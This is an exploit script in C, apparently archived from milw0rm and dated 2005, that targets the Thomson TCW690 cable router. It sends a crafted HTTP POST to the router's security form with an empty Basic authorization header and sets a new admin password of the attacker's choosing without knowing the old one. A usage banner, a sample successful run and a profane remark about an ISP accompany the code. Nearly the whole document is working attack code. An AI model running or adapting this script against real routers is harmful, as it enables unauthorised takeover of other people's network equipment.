Thomson TCW690 - POST Password Validation

/*****************************************************************
*     Thomson TCW690 POST Password Validation exploit
*
*  Tested with hardware version 2.1 and software version ST42.03.0a
*  Bug found by: MurDoK <murdok.lnx at gmail.com>
*  Date: 02.19.2005
*
*	sh-3.00$ gcc mdk_tcw690.c -o tcw690
*	sh-3.00$ ./tcw690 192.168.0.1 123
*	*****************************************
*	Thomson TCW690 POST Password Validation
*	Change password exploit coded by MurDoK
*	*****************************************
*
*	[1] Connecting...
*	[2] Sending POST request...
*	[3] Done! go to http://192.168.0.1
*	sh-3.00$
*
* fuck AUNA :/
******************************************************************/

#include <netdb.h>

int i=0, x=0, fd;
struct sockaddr_in sock;
struct hostent *he;

char badcode[1000] =
"POST /goform/RgSecurity HTTP/1.1\r\n"
"Connection: Keep-Alive\r\n"
"User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.4.28) KHTML/3.3.2 (like Gecko)\r\n"
"Referer: http://192.168.0.1/RgSecurity.asp\r\n"
"Pragma: no-cache\r\n"
"Cache-control: no-cache\r\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\r\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate\r\n"
"Accept-Charset: iso-8859-15, utf-8;q=0.5, *;q=0.5\r\n"
"Accept-Language: es, en\r\n"
"Host: 192.168.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Authorization: Basic\r\n"
"Content-Length: 62\r\n"
"\r\n";
//"Password=hack1&PasswordReEnter=hack1&RestoreFactoryNo=0x00";


int main(int argc, char *argv[]) {

//	system("clear");
	printf("*****************************************\n");
	printf(" Thomson TCW690 POST Password Validation\n");
	printf(" Change password exploit coded by MurDoK\n");
	printf("*****************************************\n\n");

	if(argc<3) {
		printf("Usage: %s <router IP> <new_password>\n\n", argv[0]);
		exit(1);
	}

	fd = socket(AF_INET, SOCK_STREAM, 0);

	he = gethostbyname(argv[1]);
	memset((char *) &sock, 0, sizeof(sock));

	sock.sin_family = AF_INET;
	sock.sin_port=htons(80);
	sock.sin_addr.s_addr=*((unsigned long*)he->h_addr);

	printf("[1] Connecting... \n");

	if ((connect(fd, (struct sockaddr *) &sock, sizeof(sock))) < 0) {
		printf("ERROR: Can't connect to host!\n");
		return 0;
	}

	strcat(badcode, "Password=");
	strcat(badcode, argv[2]);
	strcat(badcode, "&PasswordReEnter=");
	strcat(badcode, argv[2]);
	strcat(badcode, "&RestoreFactoryNo=0x00");

	printf("[2] Sending POST request...\n");
	write(fd, badcode, strlen(badcode));

	printf("[3] Done! go to http://%s\n", argv[1]);

	close(fd);

return 1;
}

// milw0rm.com [2005-02-19]